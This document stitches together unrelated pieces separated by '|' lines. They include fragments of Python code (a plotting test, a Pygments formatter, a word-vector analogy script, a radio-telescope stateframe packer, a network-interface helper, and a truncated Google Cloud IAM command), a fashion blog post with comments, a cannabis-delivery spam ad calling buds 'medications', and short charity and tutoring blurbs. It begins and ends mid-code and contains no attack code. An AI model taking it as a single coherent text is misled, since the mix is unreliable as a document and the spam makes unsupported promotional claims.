self.fc.connectTerminals(readXLS['output'], statAnalysis['In'])
statAnalysis.ctrlWidget().p.param('Signal').setValue('GW_2')
statAnalysis.ctrlWidget().p.param('Signal Units').setValue('test units')
statAnalysis.ctrlWidget().p.param('Histogram Type').setValue('Normalized')
statAnalysis.ctrlWidget().p.param('Bins').setValue(15)
statAnalysis.ctrlWidget().p.param('Plot').activate()
if __name__ == "__main__":
unittest.main()
|
I hope everyone had a wonderful Christmas and New Years!
After a little holiday break, I’m slowly but surely getting back into the swing of things. Does anyone else feel like they like sometimes you need a vacation from your vacation? #MondaysAreHard. Things are settling down, and I cannot wait to see what the new year has in store! I’m headed to Florida next week, and I am definitely looking forward to being somewhere where I don’t have to chip away ice to get into my car.
Every girl needs a good blazer. It’s just an undisputed fact. Kind of like having a good pair of flats, black pumps (which I still don’t own…) or a chambray shirt, they’re just staples, and you don’t really know what you’re missing or how much you will use them until you get one! I love the structure on this one, with the higher popped collar and fitted tomboy structure; it’s a super flattering shape on anyone! Pair it with a fun graphic tee or a button down for a dressier look, and it works either way.
To add a little fun to my look, I threw on my favorite LAW Designs tassel necklace, which has become a staple in my winter wardrobe! Most of the time this season, I’m bundled up looking like the Michelin Man, so I need my jewels to be a little bigger and lower to go over my layers, and this one fits the bill perfectly! The owner and creator of these gorgeous jewels, Lindsey is the sweetest thing (read her story here); she has a cat named Megatron and is all about finding beauty in imperfection. I’m all about jewelry that has meaning. I have my eye on this little pretty for the summer!
Y’all might have noticed someone dark and handsome in some of these pictures! I finally managed to convince my boyfriend, Armaan, to hop in a few of my blog photos! He’s always going on about being camera shy, but he was totally hamming it up in these, a natural. I feel like I should also disclose that we did NOT intentionally match for these photos. Only after getting home and looking at them, did we both realize that it’s a total tan overload. He’s headed to India for a month later this week, so I’ve been getting all the time in with him that I can! Do any of you unexpectedly match with your significant others?
PS – You can still get 15% off your Daniel Wellington order with code holiday_blondeexpeditions! But hurry, it’s only good until January 15th!
I’ve been wearing my Classic Bristol Lady everyday, it’s such a timeless piece!
Have a great first week of 2015!
You two are just precious! And i'm loving the tan overload 🙂 I don't own a single pair of classic black pumps either. I feel like I have been on the hunt for actual EVER.
The other day Jake and I both put on a mustard baseball tee and we both refused to change so we matched the entire day. #couplesthatmatchtogetherstaytogether? Hope you had the happiest New Year, doll!
I love these photos! Very sweet and your hair looks phenomenal.
Really love your blazer…so fun with the distressed jeans!
This is a gorgeous look! You are a beautiful couple!
How fun that you talked him into taking pictures with you! I think most boys complain about it and then you convince them and they love it haha. You look fab, love!
So happy to have found your blog! Your style matches mine so well. Love, love, love the classic blazer paired with the tassel necklace. I did a collaboration recently with Daniel Wellington with a similar look, too! Aren't their watches perfect? It's so versatile!
How cute are you! Love the blazer dressed down with jeans. One of my favorite looks!
This is such a beautiful shoot! Your style is always so impeccable and I LOVED how you included your bf on these pics. So cute! Have a wonderful day pretty lady!
You are so gorgeous! Both of you are too cute!
Ok cuteness overload! How gorgeous are you both?! My husband and I always accidentally match! Just the other day we got dressed to go to dinner and he came out and I'm like really?! And of course I always make him change haha!
That blazer is perfect! And the color is so unique. Y'all are just perfect!
Which Daniel Wellington watch is posted for this outfit. Is it the Classic St. Mawes 36mm or the Classic Bristol 36mm?
|
from pygments.formatters import HtmlFormatter # type: ignore
class HtmlListFormatter(HtmlFormatter):
"""A custom pygments class to format html. Returns a list of source code.
Each element of the list corresponds to a line of (marked up) source code.
"""
def get_marked_up_list(self, tokensource):
"""an updated version of pygments.formatter.format_unencoded"""
source = self._format_lines(tokensource)
if self.hl_lines:
source = self._highlight_lines(source)
if not self.nowrap:
if self.linenos == 2:
source = self._wrap_inlinelinenos(source)
if self.lineanchors:
source = self._wrap_lineanchors(source)
if self.linespans:
source = self._wrap_linespans(source)
if self.linenos == 1:
source = self._wrap_tablelinenos(source)
# instead of this:
# for t, piece in source:
# outfile.write(piece)
# evaluate the generator to a list of just source code:
IS_CODE_INDEX = 0
HTML_VALUE_INDEX = 1
IS_CODE_VAL = 1
source_list = [
html_line[HTML_VALUE_INDEX]
for html_line in self._wrap_div(self._wrap_pre(source))
if html_line[IS_CODE_INDEX] == IS_CODE_VAL
]
return source_list
|
You still have doubts where to make an order for your medications? Then Desert Heart Collective is what you are looking for! They produce only high quality buds for their client. The effect will suit you. They grow their buds in natural conditions and only experts gather them. What is more – the delivery is totally free and as fast as it is possible!
|
#!/usr/bin/env python
"""Given phrases p1 and p2, find nearest neighbors to both and rank
pairs of neighbors by similarity to vec(p2)-vec(p1) in given word
representation.
The basic idea is a straightforward combination of nearest neighbors
and analogy as in word2vec (https://code.google.com/p/word2vec/).
"""
import sys
import os
import numpy
import wvlib
from common import process_args, query_loop
def process_query(wv, query, options=None):
vectors = [wv.words_to_vector(q) for q in query]
words = [w for q in query for w in q]
nncount = 100 # TODO: add CLI parameter
nearest = [wv.nearest(v, n=nncount, exclude=words) for v in vectors]
nearest = [[(n[0], n[1], wv[n[0]]) for n in l] for l in nearest]
assert len(nearest) == 2, 'internal error'
pairs = [(n1, n2,
numpy.dot(wvlib.unit_vector(vectors[1]-vectors[0]+n1[2]), n2[2]))
for n1 in nearest[0] for n2 in nearest[1] if n1[0] != n2[0]]
pairs.sort(lambda a, b: cmp(b[2], a[2]))
nncount = options.number if options else 10
for p in pairs[:nncount]:
print '%s\t---\t%s\t%f' % (p[0][0], p[1][0], p[2])
return True
def main(argv=None):
if argv is None:
argv = sys.argv
options = process_args(argv[1:])
try:
wv = wvlib.load(options.vectors, max_rank=options.max_rank)
wv = wv.normalize()
except Exception, e:
print >> sys.stderr, 'Error: %s' % str(e)
return 1
return query_loop(wv, options, process_query, query_count=2)
if __name__ == '__main__':
sys.exit(main(sys.argv))
|
The announcement during World Glaucoma Week emphasizes the need to find a cure for this disease that affects more than 60 million people worldwide.
Three days of events uniting research, industry, and philanthropy to prevent vision loss from glaucoma and speed the cure.
What is Normal-tension glaucoma? Also called low-tension or normal-pressure glaucoma, normal-tension glaucoma (NTG) is a condition in which the optic nerve is damaged without eye pressure exceeding the average range (usually between 12-21mm Hg).
At present, the only FDA approved method of treating glaucoma is to lower eye pressure; this slows the progression of glaucomatous optic nerve damage but does not completely halt it, and certainly does not regenerate damaged nerve tissue.
Stem cells may have the potential to protect the optic nerve from further damage and slow the progression of vision loss due to glaucoma. Stem cells may also have the potential to replace ocular tissues that have degenerated in eyes with glaucoma.
The Glaucoma Research Foundation mission is to cure glaucoma and restore vision through innovative research.
|
# Copyright 2016 Cloudbase Solutions.
# All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License"); you may
# not use this file except in compliance with the License. You may obtain
# a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
# WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
# License for the specific language governing permissions and limitations
# under the License.
import netifaces
from oslo_log import log as logging
LOG = logging.getLogger(__name__)
class IPWrapper(object):
def get_device_by_ip(self, ip):
if not ip:
return
for device in self.get_devices():
if device.device_has_ip(ip):
return device
def get_devices(self):
try:
return [IPDevice(iface) for iface in netifaces.interfaces()]
except (OSError, MemoryError):
LOG.error("Failed to get network interfaces.")
return []
class IPDevice(object):
def __init__(self, name):
self.name = name
self.link = IPLink(self)
def read_ifaddresses(self):
try:
device_addresses = netifaces.ifaddresses(self.name)
except ValueError:
LOG.error("The device does not exist on the system: %s.",
self.name)
return
except OSError:
LOG.error("Failed to get interface addresses: %s.",
self.name)
return
return device_addresses
def device_has_ip(self, ip):
device_addresses = self.read_ifaddresses()
if device_addresses is None:
return False
addresses = [ip_addr['addr'] for ip_addr in
device_addresses.get(netifaces.AF_INET, []) +
device_addresses.get(netifaces.AF_INET6, [])]
return ip in addresses
class IPLink(object):
def __init__(self, parent):
self._parent = parent
@property
def address(self):
device_addresses = self._parent.read_ifaddresses()
if device_addresses is None:
return False
return [eth_addr['addr'] for eth_addr in
device_addresses.get(netifaces.AF_LINK, [])]
def add_namespace_to_cmd(cmd, namespace=None):
"""Add an optional namespace to the command."""
return cmd
|
I have 18 years of teaching experience in primary schools. I have tutored one to one and small groups for exam preparation for many years in reading, maths, grammar and writing with a high success rate. I have tutored pupils of all ages and build up their confidence and skills in a fun way. I provide homework help or support for particular areas of the curriculum including phonics, inference and deduction in reading comprehension, and reasoning in maths. Private tutoring is an excellent way of preparing your child for the end of Key Stage 1 or 2 national tests.
|
"""
STARBURST OVRO Item Struct Decomposition
(Based on gen_schedule_sf.py)
Author: Lokbondo Kung
Email: lkkung@caltech.edu
"""
import struct
import numpy as np
import shutil
# NUMBER OF ELEMENTS IN CLUSTERS:
Nelements = 7
Nelements_starburst = 4
Nelements_lonoise = 12
Nelements_antenna = 24
# Version # for Subarray2 stateframe and for
# Starburst-specific stateframe - MUST BE DEFINED HERE
version = 3 # Version Date: 3/31/15
starburst_version = 1 # Version Date: 3/7/15
version_date = '3.31.15' # Most recent update (used to write backup file)
"""
Method: gen_starburst_sf()
Description:
Writes the Starburst OVRO stateframe items from the stateframe
dictionary. Optionally creates the corresponding XML file. Regardless
of whether the XML file is created, the file name to the XML will be
returned (/tmp/ovro_stateframe.xml).
Even if supplied an empty dictionary, this routine will return
something sensible.
Arguments:
sf_dict: stateframe dictionary.
Returns:
buf: binary data buffer.
fmt: format string.
xmlFile: xml file path.
"""
def gen_starburst_sf(sf_dict, mk_xml=False):
# Set up file name, format string, and buffer.
xmlFile = r'tmp/schedule2_stateframe.xml'
fmt = '<'
buf = ''
xml = None
# Append XML for data cluster
if mk_xml:
xml = open(xmlFile, "w")
xml.write('<Cluster>\n')
xml.write('<Name>Dat2</Name>\n')
xml.write('<NumElts>' + str(Nelements) + '</NumElts>\n')
# ======================================================================
# Start of data dump.
# ======================================================================
append_fmt, append_buf = __general_stateframe(sf_dict, xml, mk_xml)
fmt += append_fmt
buf += append_buf
# ======================================================================
# Start of Starburst cluster dump.
# ======================================================================
append_fmt, append_buf = __starburst_stateframe(sf_dict, xml, mk_xml)
fmt += append_fmt
buf += append_buf
# Append for end of data cluster
if mk_xml:
xml.write('</Cluster>\n')
xml.close()
# Make backup copy of XML file
backup_file = ('starburst/schedule2_stateframe_v' +
str(version) + '_' + version_date + '.xml')
shutil.copyfile(xmlFile, backup_file)
# Print size of buf
print 'schedule2 size =', len(buf)
print 'Modify acc.ini to reflect this if this is a change in size'
return fmt, buf, xmlFile
def __generic_labjack(dict, xml, mk_xml):
# Initialize
fmt = ""
buf = ""
# DEFAULTS - Generic LabJacks:
default_serial = 0
default_name = ""
default_volts = 0
default_temp = 0
#----------------------------------------------------------------------
# Name of LabJack (length 49 array of characters)
# ----------------------------------------------------------------------
# Define array dimensions
fmt += 'I'
buf += struct.pack('I', 49)
item = dict.get("NAME", default_name)
# Pack name as string of characters
fmt += '49s'
buf += struct.pack("49s", item)
# Append to XML file
if mk_xml:
xml.write('<Array>\n')
xml.write('<Name>Name</Name>\n')
xml.write('<Dimsize>49</Dimsize>\n')
xml.write('<U8>\n')
xml.write('<Name></Name>\n')
xml.write('<Val></Val>\n')
xml.write('</U8>\n')
xml.write('</Array>\n')
#----------------------------------------------------------------------
# Serial Number of LabJack (unsinged int)
# ----------------------------------------------------------------------
# Pack serial number as unsigned int
item = dict.get("SERIAL", default_serial)
fmt += 'I'
buf += struct.pack("I", item)
# Append to XML file
if mk_xml:
xml.write('<U32>\n')
xml.write('<Name>SerialNumber</Name>\n')
xml.write('<Val></Val>\n')
xml.write('</U32>\n')
#----------------------------------------------------------------------
# 24 Volt input of LabJack in volts (float)
# ----------------------------------------------------------------------
# Pack voltage as float
item = dict.get("POW_24V", default_volts)
try:
item = float(item)
except ValueError:
item = 0.0
fmt += 'f'
buf += struct.pack('f', item)
# Append to XML file
if mk_xml:
xml.write('<SGL>\n')
xml.write('<Name>Voltage.24v</Name>\n')
xml.write('<Val></Val>\n')
xml.write('</SGL>\n')
#----------------------------------------------------------------------
# 15 Volt input of LabJack in volts (float)
# ----------------------------------------------------------------------
# Pack voltage as float
item = dict.get("POW_15V", default_volts)
try:
item = float(item)
except ValueError:
item = 0.0
fmt += 'f'
buf += struct.pack('f', item)
# Append to XML file
if mk_xml:
xml.write('<SGL>\n')
xml.write('<Name>Voltage.15v</Name>\n')
xml.write('<Val></Val>\n')
xml.write('</SGL>\n')
#----------------------------------------------------------------------
# 12 Volt input of LabJack in volts (float)
# ----------------------------------------------------------------------
# Pack voltage as float
item = dict.get("POW_12V", default_volts)
try:
item = float(item)
except ValueError:
item = 0.0
fmt += 'f'
buf += struct.pack('f', item)
# Append to XML file
if mk_xml:
xml.write('<SGL>\n')
xml.write('<Name>Voltage.12v</Name>\n')
xml.write('<Val></Val>\n')
xml.write('</SGL>\n')
#----------------------------------------------------------------------
# 5 Volt input of LabJack in volts (float)
# ----------------------------------------------------------------------
# Pack voltage as float
item = dict.get("POW_5V", default_volts)
try:
item = float(item)
except ValueError:
item = 0.0
fmt += 'f'
buf += struct.pack('f', item)
# Append to XML file
if mk_xml:
xml.write('<SGL>\n')
xml.write('<Name>Voltage.5v</Name>\n')
xml.write('<Val></Val>\n')
xml.write('</SGL>\n')
#----------------------------------------------------------------------
# -5 Volt input of LabJack in volts (float)
# ----------------------------------------------------------------------
# Pack voltage as float
item = dict.get("POW_N5V", default_volts)
try:
item = float(item)
except ValueError:
item = 0.0
fmt += 'f'
buf += struct.pack('f', item)
# Append to XML file
if mk_xml:
xml.write('<SGL>\n')
xml.write('<Name>Voltage.Neg5v</Name>\n')
xml.write('<Val></Val>\n')
xml.write('</SGL>\n')
#----------------------------------------------------------------------
# 5 Volt (switched) input of LabJack in volts (float)
# ----------------------------------------------------------------------
# Pack voltage as float
item = dict.get("POW_S5V", default_volts)
try:
item = float(item)
except ValueError:
item = 0.0
fmt += 'f'
buf += struct.pack('f', item)
# Append to XML file
if mk_xml:
xml.write('<SGL>\n')
xml.write('<Name>Voltage.Switched5v</Name>\n')
xml.write('<Val></Val>\n')
xml.write('</SGL>\n')
#----------------------------------------------------------------------
# Temperature of the LabJack in Kelvin (float)
# ----------------------------------------------------------------------
# Pack temperature as float
item = dict.get("LJTEMP", default_temp)
try:
item = float(item)
except ValueError:
item = 0.0
fmt += 'f'
buf += struct.pack('f', item)
# Append to XML file
if mk_xml:
xml.write('<SGL>\n')
xml.write('<Name>Temp.labjack</Name>\n')
xml.write('<Val></Val>\n')
xml.write('</SGL>\n')
#----------------------------------------------------------------------
# Temperature of the Air Around LabJack in Kelvin (float)
# ----------------------------------------------------------------------
# Pack temperature as float
item = dict.get("LJAIRTEMP", default_temp)
try:
item = float(item)
except ValueError:
item = 0.0
fmt += 'f'
buf += struct.pack('f', item)
# Append to XML file
if mk_xml:
xml.write('<SGL>\n')
xml.write('<Name>Temp.air</Name>\n')
xml.write('<Val></Val>\n')
xml.write('</SGL>\n')
return fmt, buf
def __lonoise_labjack(dict, xml, mk_xml):
# Initialize
fmt = ""
buf = ""
# DEFAULTS - Generic LabJacks:
default_status = 0
default_freq = ("", 0)
#----------------------------------------------------------------------
# Status of Noise Source: 0 = off, 1 = on (unsigned int)
# ----------------------------------------------------------------------
# Pack temperature as unsigned int
item = dict.get("NSSTAT", default_status)
try:
item = int(item)
except ValueError:
item = 0
fmt += 'I'
buf += struct.pack('I', item)
# Append to XML file
if mk_xml:
xml.write('<U32>\n')
xml.write('<Name>NoiseSourceStatus</Name>\n')
xml.write('<Val></Val>\n')
xml.write('</U32>\n')
#----------------------------------------------------------------------
# LO Frequency: 0 = 3.4GHz, 1 = 7.5GHz,
# 2 = 11.5GHz, 3 = 15.5GHz (unsigned int)
# ----------------------------------------------------------------------
# Pack frequency as unsinged int
item = dict.get("LOFREQ", default_freq)
try:
item = int(item[1])
except ValueError:
item = 0
fmt += 'I'
buf += struct.pack('I', item)
# Append to XML file
if mk_xml:
xml.write('<U32>\n')
xml.write('<Name>LOFrequency</Name>\n')
xml.write('<Val></Val>\n')
xml.write('</U32>\n')
return fmt, buf
def __antenna_labjack(dict, xml, mk_xml):
# Initialize
fmt = ""
buf = ""
# DEFAULTS - Generic LabJacks:
default_pow = 0
default_atten = 31.5
default_temp = 0
default_vsel = 0
default_hsel = 0
#----------------------------------------------------------------------
# Power to VQ component in dBm (float)
# ----------------------------------------------------------------------
# Pack power as float
item = dict.get("VQPOW", default_pow)
try:
item = float(item)
except ValueError:
item = 0.0
fmt += 'f'
buf += struct.pack('f', item)
# Append to XML file
if mk_xml:
xml.write('<SGL>\n')
xml.write('<Name>Power.vq</Name>\n')
xml.write('<Val></Val>\n')
xml.write('</SGL>\n')
#----------------------------------------------------------------------
# Power to VI component in dBm (float)
# ----------------------------------------------------------------------
# Pack power as float
item = dict.get("VIPOW", default_pow)
try:
item = float(item)
except ValueError:
item = 0.0
fmt += 'f'
buf += struct.pack('f', item)
# Append to XML file
if mk_xml:
xml.write('<SGL>\n')
xml.write('<Name>Power.vi</Name>\n')
xml.write('<Val></Val>\n')
xml.write('</SGL>\n')
#----------------------------------------------------------------------
# Power to HQ component in dBm (float)
# ----------------------------------------------------------------------
# Pack power as float
item = dict.get("HQPOW", default_pow)
try:
item = float(item)
except ValueError:
item = 0.0
fmt += 'f'
buf += struct.pack('f', item)
# Append to XML file
if mk_xml:
xml.write('<SGL>\n')
xml.write('<Name>Power.hq</Name>\n')
xml.write('<Val></Val>\n')
xml.write('</SGL>\n')
#----------------------------------------------------------------------
# Power to HI component in dBm (float)
# ----------------------------------------------------------------------
# Pack power as float
item = dict.get("HIPOW", default_pow)
try:
item = float(item)
except ValueError:
item = 0.0
fmt += 'f'
buf += struct.pack('f', item)
# Append to XML file
if mk_xml:
xml.write('<SGL>\n')
xml.write('<Name>Power.hi</Name>\n')
xml.write('<Val></Val>\n')
xml.write('</SGL>\n')
#----------------------------------------------------------------------
# Temperature of VQ component in Celsius (float)
# ----------------------------------------------------------------------
# Pack temperature as float
item = dict.get("VQTEMP", default_temp)
try:
item = float(item)
except ValueError:
item = 0.0
fmt += 'f'
buf += struct.pack('f', item)
# Append to XML file
if mk_xml:
xml.write('<SGL>\n')
xml.write('<Name>Temp.vq</Name>\n')
xml.write('<Val></Val>\n')
xml.write('</SGL>\n')
#----------------------------------------------------------------------
# Temperature of VI component in Celsius (float)
# ----------------------------------------------------------------------
# Pack temperature as float
item = dict.get("VITEMP", default_temp)
try:
item = float(item)
except ValueError:
item = 0.0
fmt += 'f'
buf += struct.pack('f', item)
# Append to XML file
if mk_xml:
xml.write('<SGL>\n')
xml.write('<Name>Temp.vi</Name>\n')
xml.write('<Val></Val>\n')
xml.write('</SGL>\n')
#----------------------------------------------------------------------
# Temperature of HQ component in Celsius (float)
# ----------------------------------------------------------------------
# Pack temperature as float
item = dict.get("HQTEMP", default_temp)
try:
item = float(item)
except ValueError:
item = 0.0
fmt += 'f'
buf += struct.pack('f', item)
# Append to XML file
if mk_xml:
xml.write('<SGL>\n')
xml.write('<Name>Temp.hq</Name>\n')
xml.write('<Val></Val>\n')
xml.write('</SGL>\n')
#----------------------------------------------------------------------
# Temperature of HI component in Celsius (float)
# ----------------------------------------------------------------------
# Pack temperature as float
item = dict.get("HITEMP", default_temp)
try:
item = float(item)
except ValueError:
item = 0.0
fmt += 'f'
buf += struct.pack('f', item)
# Append to XML file
if mk_xml:
xml.write('<SGL>\n')
xml.write('<Name>Temp.hi</Name>\n')
xml.write('<Val></Val>\n')
xml.write('</SGL>\n')
#----------------------------------------------------------------------
# Attenuation setting for VQ component in dB (double)
# ----------------------------------------------------------------------
# Pack attenuation as double
item = dict.get("VQATTEN", default_atten)
try:
item = float(item)
except ValueError:
item = 0.0
fmt += 'd'
buf += struct.pack('d', item)
# Append to XML file
if mk_xml:
xml.write('<DBL>\n')
xml.write('<Name>Attenuation.vq</Name>\n')
xml.write('<Val></Val>\n')
xml.write('</DBL>\n')
#----------------------------------------------------------------------
# Attenuation setting for VI component in dB (double)
# ----------------------------------------------------------------------
# Pack attenuation as double
item = dict.get("VIATTEN", default_atten)
try:
item = float(item)
except ValueError:
item = 0.0
fmt += 'd'
buf += struct.pack('d', item)
# Append to XML file
if mk_xml:
xml.write('<DBL>\n')
xml.write('<Name>Attenuation.vi</Name>\n')
xml.write('<Val></Val>\n')
xml.write('</DBL>\n')
#----------------------------------------------------------------------
# Attenuation setting for HQ component in dB (double)
# ----------------------------------------------------------------------
# Pack attenuation as double
item = dict.get("HQATTEN", default_atten)
try:
item = float(item)
except ValueError:
item = 0.0
fmt += 'd'
buf += struct.pack('d', item)
# Append to XML file
if mk_xml:
xml.write('<DBL>\n')
xml.write('<Name>Attenuation.hq</Name>\n')
xml.write('<Val></Val>\n')
xml.write('</DBL>\n')
#----------------------------------------------------------------------
# Attenuation setting for HI component in dB (double)
# ----------------------------------------------------------------------
# Pack attenuation as double
item = dict.get("HIATTEN", default_atten)
try:
item = float(item)
except ValueError:
item = 0.0
fmt += 'd'
buf += struct.pack('d', item)
# Append to XML file
if mk_xml:
xml.write('<DBL>\n')
xml.write('<Name>Attenuation.hi</Name>\n')
xml.write('<Val></Val>\n')
xml.write('</DBL>\n')
#----------------------------------------------------------------------
# Source Selection for Vertical Polarization:
# 0 = antenna, 1 = noise source (unsigned int)
# ----------------------------------------------------------------------
# Pack selection as unsigned int
item = dict.get("VNSSEL", default_vsel)
try:
item = int(item)
except ValueError:
item = 0
fmt += 'I'
buf += struct.pack('I', item)
# Append to XML file
if mk_xml:
xml.write('<U32>\n')
xml.write('<Name>SourceSelection.v</Name>\n')
xml.write('<Val></Val>\n')
xml.write('</U32>\n')
#----------------------------------------------------------------------
# Source Selection for Horizontal Polarization:
# 0 = antenna, 1 = noise source (unsigned int)
# ----------------------------------------------------------------------
# Pack selection as unsigned int
item = dict.get("HNSSEL", default_hsel)
try:
item = int(item)
except ValueError:
item = 0
fmt += 'I'
buf += struct.pack('I', item)
# Append to XML file
if mk_xml:
xml.write('<U32>\n')
xml.write('<Name>SourceSelection.h</Name>\n')
xml.write('<Val></Val>\n')
xml.write('</U32>\n')
return fmt, buf
# Copied from gen_schedule_sf
def __general_stateframe(sf_dict, xml, mk_xml):
# Initialize
fmt = ""
buf = ""
# DEFAULTS - General
default_tstamp = 0.0
default_scan_state = 0
default_phase_tracking = 0
default_uvw = np.array([[0.0,0.0,0.0]]*16)
default_delay = np.zeros(16)
default_az = np.zeros(15)
default_el = np.zeros(15)
default_chi = np.zeros(15)
default_track_flag = np.array([False]*16)
# 1 - Schedule_Timestamp (double) [s, in LabVIEW format]
# To be compatible with other timestamps in the stateframe, this
# will be in LabVIEW format, which is s since 1904/01/01 (don't ask).
# It is the time (should be exact second, no microseconds) for
# which the UVW coordinates and Delays are calculated.
item = sf_dict.get('timestamp',default_tstamp)
fmt += 'd'
buf += struct.pack('d',item)
if mk_xml:
xml.write('<DBL>\n')
xml.write('<Name>Timestamp</Name>\n')
xml.write('<Val></Val>\n')
xml.write('</DBL>\n')
# 2 - Schedule version (double) [N/A]
# Version of the schedule2 stateframe.
item = version
fmt += 'd'
buf += struct.pack('d',item)
if mk_xml:
xml.write('<DBL>\n')
xml.write('<Name>Version</Name>\n')
xml.write('<Val>'+str(item)+'</Val>\n')
xml.write('</DBL>\n')
# 3 - Scan_State (unsigned integer bool)
# Flag (=1 to indicate that DPP should be recording data, =0 otherwise)
item = sf_dict.get('scan_state',default_scan_state)
fmt += 'i'
buf += struct.pack('i',item)
if mk_xml:
xml.write('<I32>\n')
xml.write('<Name>ScanState</Name>\n')
xml.write('<Val></Val>\n')
xml.write('</I32>\n')
# 4 - Phase_Tracking (unsigned integer bool)
# Flag (=1 to indicate that uvw coordinates are valid, =0 otherwise)
item = sf_dict.get('phase_tracking',default_phase_tracking)
fmt += 'I'
buf += struct.pack('I',item)
if mk_xml:
xml.write('<U32>\n')
xml.write('<Name>PhaseTracking</Name>\n')
xml.write('<Val></Val>\n')
xml.write('</U32>\n')
# 5 - UVW (3 x 16 array of doubles) [ns]
# u, v, w coordinates for each antenna, relative to antenna 1.
# Default is array of zeros (=> not tracking phase center)
item = sf_dict.get('uvw',default_uvw)
# Write dimensions into data stream
fmt += 'II'
buf += struct.pack('II',3,16)
fmt += str(3*16)+'d'
for i in range(16):
buf += struct.pack('3d',item[i,0],item[i,1],item[i,2])
if mk_xml:
xml.write('<Array>\n')
xml.write('<Name>UVW</Name>\n')
xml.write('<Dimsize>3</Dimsize><Dimsize>16</Dimsize>\n<DBL>\n<Name></Name>\n<Val></Val>\n</DBL>\n')
xml.write('</Array>\n')
# 6 - Delay (length 16 x 2 array of doubles) [ns]
# Geometric delay (-w coordinate) for each antenna, relative to antenna 1,
# for current time (stateframe timestamp), and again for current time plus
# 1 s (delay1).
# Default is array of zeros (=> not tracking phase center)
# Write dimensions into data stream
fmt += 'II'
buf += struct.pack('II',16,2)
item = sf_dict.get('delay',default_delay)
fmt += '32d'
for i in item:
buf += struct.pack('d',i)
item = sf_dict.get('delay1',default_delay)
for i in item:
buf += struct.pack('d',i)
if mk_xml:
xml.write('<Array>\n')
xml.write('<Name>Delay</Name>\n')
xml.write('<Dimsize>16</Dimsize><Dimsize>2</Dimsize>\n<DBL>\n<Name></Name>\n<Val></Val>\n</DBL>\n')
xml.write('</Array>\n')
return fmt, buf
def __starburst_stateframe(sf_dict, xml, mk_xml):
# Initialize
fmt = ""
buf = ""
# Append XML for Starburst cluster.
if mk_xml:
xml.write('<Cluster>\n')
xml.write('<Name>Starburst</Name>\n')
xml.write('<NumElts>' + str(Nelements_starburst) + '</NumElts>\n')
# ======================================================================
# Start of LO/Noise Module dump.
# ======================================================================
dict = sf_dict.get("starburst", {}).get("LONOISE", {})
# Append XML for LONoiseModule cluster.
if mk_xml:
xml.write('<Cluster>\n')
xml.write('<Name>LONM</Name>\n')
xml.write('<NumElts>' + str(Nelements_lonoise) + '</NumElts>')
# Handle all generic LabJack properties
append_fmt, append_buf = __generic_labjack(dict, xml, mk_xml)
fmt += append_fmt
buf += append_buf
# Handle LO/Noise source LabJack properties
append_fmt, append_buf = __lonoise_labjack(dict, xml, mk_xml)
fmt += append_fmt
buf += append_buf
# ----------------------------------------------------------------------
# End of LO/Noise Module parsing.
if mk_xml:
xml.write('</Cluster>\n')
# ======================================================================
# Start of AntennaA Module dump.
# ======================================================================
dict = sf_dict.get("starburst", {}).get("A", {})
# Append XML for LONoiseModule cluster.
if mk_xml:
xml.write('<Cluster>\n')
xml.write('<Name>DCMA</Name>\n')
xml.write('<NumElts>' + str(Nelements_antenna) + '</NumElts>')
# Handle all generic LabJack properties
append_fmt, append_buf = __generic_labjack(dict, xml, mk_xml)
fmt += append_fmt
buf += append_buf
# Handle Antenna A LabJack properties
append_fmt, append_buf = __antenna_labjack(dict, xml, mk_xml)
fmt += append_fmt
buf += append_buf
# ----------------------------------------------------------------------
# End of AntennaA Module parsing.
if mk_xml:
xml.write('</Cluster>\n')
# ======================================================================
# Start of AntennaB Module dump.
# ======================================================================
dict = sf_dict.get("starburst", {}).get("B", {})
# Append XML for LONoiseModule cluster.
if mk_xml:
xml.write('<Cluster>\n')
xml.write('<Name>DCMB</Name>\n')
xml.write('<NumElts>' + str(Nelements_antenna) + '</NumElts>')
# Handle all generic LabJack properties
append_fmt, append_buf = __generic_labjack(dict, xml, mk_xml)
fmt += append_fmt
buf += append_buf
# Handle Antenna B LabJack properties
append_fmt, append_buf = __antenna_labjack(dict, xml, mk_xml)
fmt += append_fmt
buf += append_buf
# ----------------------------------------------------------------------
# End of AntennaB Module parsing.
if mk_xml:
xml.write('</Cluster>\n')
# ======================================================================
# Include Starburst Version
# ======================================================================
item = starburst_version
fmt += 'I'
buf += struct.pack('I',item)
if mk_xml:
xml.write('<U32>\n')
xml.write('<Name>Version</Name>\n')
xml.write('<Val>' + str(item) + '</Val>\n')
xml.write('</U32>\n')
# ======================================================================
# Wrap up end of Starburst cluster.
if mk_xml:
xml.write('</Cluster>')
# ======================================================================
return fmt, buf
|
Welcome! This is a professional , non-commercial web site intended for parents, educators, adults with relationship problems that result from stress-related disorders like depression and anxiety, and also for health professionals with a working knowledge in emotional/psychological trauma.
common for both children and adults.
a reaction to environmental experience that disrupts neurological development.
characterized by ongoing emotional, health, relational and learning problems.
healed through relational intervention that fosters new neurological function.
This definition is based on a broad spectrum of brain research and technology, and is far broader than simply addressing trauma as defined by PTSD (Post Traumatic Stress Disorder).
We began with a series of community sponsored conferences — “From Neurons to Neighborhoods” — which focused on cutting-edge discoveries in the fields of child development, brain research and psychological trauma. Today, we continue as a community based collaborative that includes parents, teachers and health care providers.
|
# Copyright 2015 Google Inc. All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
"""Command for deleting service accounts."""
import textwrap
from apitools.base.py import exceptions
from googlecloudsdk.calliope import base
from googlecloudsdk.command_lib.iam import base_classes
from googlecloudsdk.command_lib.iam import iam_util
from googlecloudsdk.core import log
from googlecloudsdk.core.console import console_io
class Delete(base_classes.BaseIamCommand, base.DeleteCommand):
"""Delete a service account from a project."""
detailed_help = {
'DESCRIPTION': '{description}',
'EXAMPLES': textwrap.dedent("""\
To delete an service account from your project, run:
$ {command} my-iam-account@somedomain.com
"""),
}
@staticmethod
def Args(parser):
# TODO(user): add tab completion.
parser.add_argument('account',
metavar='IAM-ACCOUNT',
help='The service account to delete.')
def Run(self, args):
try:
